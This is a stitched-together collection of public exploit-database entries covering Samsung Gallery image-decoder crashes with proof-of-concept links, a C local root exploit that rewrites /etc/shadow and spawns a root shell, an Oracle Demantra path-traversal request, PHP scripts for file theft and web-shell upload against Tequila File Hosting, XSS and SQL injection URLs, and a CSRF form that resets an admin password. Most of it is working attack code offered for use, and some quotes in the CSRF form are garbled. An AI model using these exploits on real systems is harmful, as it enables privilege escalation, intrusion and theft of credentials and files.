Source: https://code.google.com/p/google-security-research/issues/detail?id=500

There is a crash when the Samsung Gallery application load the attached GIF, colormap.gif.

D/skia (10905): GIF - Parse error

D/skia (10905): --- decoder->decode returned false

F/libc (10905): Fatal signal 11 (SIGSEGV), code 2, fault addr 0x89f725ac in tid 11276 (thread-pool-0)

I/DEBUG ( 2958): pid: 10905, tid: 11276, name: thread-pool-0 >>> com.sec.android.gallery3d <<<

I/DEBUG ( 2958): signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x89f725ac

I/DEBUG ( 2958): x0 0000000000000001 x1 0000000089f725ac x2 0000000000000000 x3 00000000fff9038c

I/DEBUG ( 2958): x4 0000007f9c300000 x5 000000000000001f x6 0000000000000001 x7 0000007f9c620048

I/DEBUG ( 2958): x8 0000000000000000 x9 0000000000000000 x10 0000000000000080 x11 0000000000003758

I/DEBUG ( 2958): x12 0000000000000020 x13 0000000000000020 x14 00000000000000a5 x15 000000000000001f

I/DEBUG ( 2958): x16 00000000ffffe4e3 x17 00000000000000a5 x18 0000007f9c300000 x19 0000007f9c61fc00

I/DEBUG ( 2958): x20 0000007f9c664080 x21 0000000089e76b2c x22 000000000000003b x23 0000000000000001

I/DEBUG ( 2958): x24 0000000000000020 x25 0000000000000020 x26 0000000000000020 x27 0000007f9c664080

I/DEBUG ( 2958): x28 00000000000001da x29 0000000032e89ae0 x30 0000007faad70e64

I/DEBUG ( 2958): sp 0000007f9cfff170 pc 0000007faad72dbc pstate 0000000080000000

I/DEBUG ( 2958):

I/DEBUG ( 2958): backtrace:

I/DEBUG ( 2958): #00 pc 000000000002ddbc /system/lib64/libSecMMCodec.so (ColorMap+200)

I/DEBUG ( 2958): #01 pc 000000000002be60 /system/lib64/libSecMMCodec.so (decodeGIF+340)

I/DEBUG ( 2958): #02 pc 000000000000c90c /system/lib64/libSecMMCodec.so (Java_com_sec_samsung_gallery_decoder_SecMMCodecInterface_nativeDecode+436)

I/DEBUG ( 2958): #03 pc 000000000042ec00 /system/priv-app/SecGallery2015/arm64/SecGallery2015.odex

To reproduce, download the file and open it in Gallery

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39023.zip

Source: https://code.google.com/p/google-security-research/issues/detail?id=497

Loading the bitmap bmp_memset.bmp can cause a crash due to a memset writing out of bounds.

I/DEBUG ( 2961): pid: 12383, tid: 12549, name: thread-pool-1 >>> com.sec.android.gallery3d <<<

I/DEBUG ( 2961): signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x89e84000

I/DEBUG ( 2961): x0 0000000089e8117c x1 00000000000000ff x2 00000000177fe13c x3 0000000089e8117c

I/DEBUG ( 2961): x4 0000000000000004 x5 0000007f65f42300 x6 0000000000000002 x7 ffffffffffffffff

I/DEBUG ( 2961): x8 0000000089e83ff0 x9 0000007f65f020b0 x10 000000000000003c x11 000000000000003b

I/DEBUG ( 2961): x12 0000007f65f02080 x13 00000000ffffffff x14 0000007f65f02080 x15 00000000000061e0

I/DEBUG ( 2961): x16 0000007f6baccc10 x17 0000007f958f8d80 x18 0000007f9596da40 x19 0000007f65f0e180

I/DEBUG ( 2961): x20 0000007f65f54020 x21 00000000002f0020 x22 0000000000000020 x23 0000000005e00400

I/DEBUG ( 2961): x24 0000000000000004 x25 0000007f65f42300 x26 0000000000000020 x27 0000007f65f52080

I/DEBUG ( 2961): x28 00000000000001da x29 0000000013071460 x30 0000007f6ba7e40c

I/DEBUG ( 2961): sp 0000007f66796130 pc 0000007f958f8e28 pstate 0000000020000000

I/DEBUG ( 2961):

I/DEBUG ( 2961): backtrace:

I/InjectionManager(12532): Inside getClassLibPath caller

I/DEBUG ( 2961): #00 pc 0000000000019e28 /system/lib64/libc.so (memset+168)

I/DEBUG ( 2961): #01 pc 0000000000030408 /system/lib64/libSecMMCodec.so (sbmpd_decode_rle_complete+64)

I/DEBUG ( 2961): #02 pc 0000000000033440 /system/lib64/libSecMMCodec.so (DecodeFile+120)

I/DEBUG ( 2961): #03 pc 000000000000c90c /system/lib64/libSecMMCodec.so (Java_com_sec_samsung_gallery_decoder_SecMMCodecInterface_nativeDecode+436)

I/DEBUG ( 2961): #04 pc 000000000042ec00 /system/priv-app/SecGallery2015/arm64/SecGallery2015.odex

To reproduce, download the file and open it in Gallery.

This issue was tested on a SM-G925V device running build number LRX22G.G925VVRU1AOE2.

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39024.zip

#include <stdio.h>

#include <sys/wait.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <sys/inotify.h>

#include <unistd.h>

#include <stdlib.h>

#include <signal.h>

static int it_worked(void)

{

struct stat sbuf = { 0 };

stat("/etc/shadow", &sbuf);

return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();

}

int main(int argc, char **argv)

{

int fd;

pid_t pid;

char uid[12], gid[12];

size_t attempts = 0;

sprintf(uid, "%d", getuid());

sprintf(gid, "%d", getgid());

printf("== Virtfshell - by zx2c4 ==\n");

printf("[+] Beginning race loop\n");

while (!it_worked()) {

printf("\033[1A\033[2K[+] Trying to win race, attempt %zu\n", ++attempts);

fd = inotify_init();

unlink("/tmp/virtfshell/sock");

mkdir("/tmp/virtfshell", 0777);

inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);

pid = fork();

if (pid == -1)

continue;

if (!pid) {

close(0);

close(1);

close(2);

execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);

_exit(1);

}

read(fd, 0, 0);

unlink("/tmp/virtfshell/sock");

symlink("/etc/shadow", "/tmp/virtfshell/sock");

close(fd);

kill(pid, SIGKILL);

wait(NULL);

}

printf("[+] Chown'd /etc/shadow, elevating to root\n");

system( "cp /etc/shadow /tmp/original_shadow;"

"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"

"cat /tmp/modified_shadow > /etc/shadow;"

"su -c '"

" echo [+] Cleaning up;"

" cat /tmp/original_shadow > /etc/shadow;"

" chown root:root /etc/shadow;"

" rm /tmp/modified_shadow /tmp/original_shadow;"

" echo [+] Spawning root shell;"

" exec /bin/bash -i"

"'");

return 0;

}

source: http://www.securityfocus.com/bid/64836/info

Oracle Supply Chain Products Suite is prone to a remote vulnerability in Oracle Demantra Demand Management.

The vulnerability can be exploited over the 'HTTP' protocol. The 'DM Others' sub component is affected.

Attackers can exploit this issue to obtain sensitive information.

This vulnerability affects the following supported versions:

12.2.0, 12.2.1, 12.2.2

POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1

Host: target.com:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml

================================================================================

Tequila File Hosting Arbitrary File Download

================================================================================

# Vendor Homepage: http://codecanyon.net/item/tequila-file-hosting-script/7604312

# Date: 16/12/2015

# Author: Ashiyane Digital Security Team

# Version: 1.5

# Contact: hehsan979@gmail.com

# Source: http://ehsansec.ir/advisories/tequila-disclose.txt

================================================================================

# Description:

Tequila is a solid, safe, fast, simple and intuitive script which

allows companies or individuals to upload, manage and share their

files online. It is studied in every feature and was produced with

attention to every detail.

# PoC :

# Download Config

http://localhost/tequila/download.php?download.php?filename=files/../include/php/constants.php&name=file.php

# Download passwd

http://localhost/tequila/download.php?filename=files/../../../../../etc/passwd&name=passwd

# (PHP Exploit):

<?php

// page : download.php

echo "Tequila File Hosting Arbitrary File Download Exploiter\n";

echo "Discoverd By Ehsan Hosseini\n\n\n";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,

"http://SERVER/download.php?filename=files/../include/php/constants.php&name=file.php");

curl_setopt($ch, CURLOPT_HTTPGET, 1);

curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE

5.01; Windows NT 5.0)");

$buf = curl_exec ($ch);

curl_close($ch);

unset($ch);

echo $buf;

?>

# Vulnerabile code:

<?php

//This script forces the download of the file

//Retrieving the file name from the querystring

//and the stepping stone path to the download folder

$fn = (isset($_GET['filename']) ? $_GET['filename'] : false);

$file = $fn;

$sn = (isset($_GET['name']) ? $_GET['name'] : false);

$secure_name = $sn;

if (strpos($file, "files/") !== false) {

$checkdownload = "true";

} else {

$checkdownload = "false";

}

//I verify that the file exists

if($checkdownload == "true"){

if (!file_exists($file)) {

//If there is mold an error

echo "The file does not exist!";

} else {

//If the file exists ...

//Imposed on the header of the page to force the download of the file

header("Cache-Control: public");

header("Content-Description: File Transfer");

header('Content-Type: application/zip');

header("Content-Disposition: attachment; filename= " . $secure_name);

header("Content-Transfer-Encoding: binary");

header('Connection: Keep-Alive');

header('Expires: 0');

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');

header('Pragma: public');

//I read the contents of the file

readfile($file);

exit;

}

}

?>

#######################################################################

================================================================================

Tequila File Hosting Unrestricted File Upload

================================================================================

# PoC :

First register in the site===>

http://localhost/tequila/register.php

Next using this exploit :

<?php

// page : upload.php

$postData = array('folder' => '/username', 'file' => '@shell.php');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "http://localhost/tequila/upload.php");

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );

$buf = curl_exec ($ch);

curl_close($ch);

unset($ch);

echo $buf;

?>

or

curl -i -F folder='/ehsann' -F file=@ehsan.png

http://localhost/tequila/upload.php

Sheller uploaded.

Path of shell : http://localhost/tequila/files/username/shell.php

#######################################################################

================================================================================

Tequila File Hosting Coss Site Scripting

================================================================================

# PoC :

http://localhost/files.php?folder="><script>alert('Ehsan')</script>

http://easyhost.me/file.php?file="><script>alert('Ehsan')</script>

================================================================================

# Discovered By : Ehsan Hosseini (EhsanSec.ir)

================================================================================

source: http://www.securityfocus.com/bid/64734/info

UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

http://www.example.com/products.php?cat_id=4

source: http://www.securityfocus.com/bid/64734/info

UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

http://www.example.com/news.php?id=1

source: http://www.securityfocus.com/bid/64735/info

Built2Go PHP Shopping is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers.

<form method=�POST� name=�form0? action=� http://www.example.com/adminpanel/edit_admin.php�>

<input type=�hidden� name=�userid� value=�ADMIN�/>

<input type=�hidden� name=�pass� value=�12121212?/>

<input type=�hidden� name=�retypepass� value=�12121212?/>

<input type=�hidden� name=�addnew� value=�1?/>

<input type=�hidden� name=�action� value=�save�/>

<input type=�hidden� name=�new� value=�Submit�/>

</form>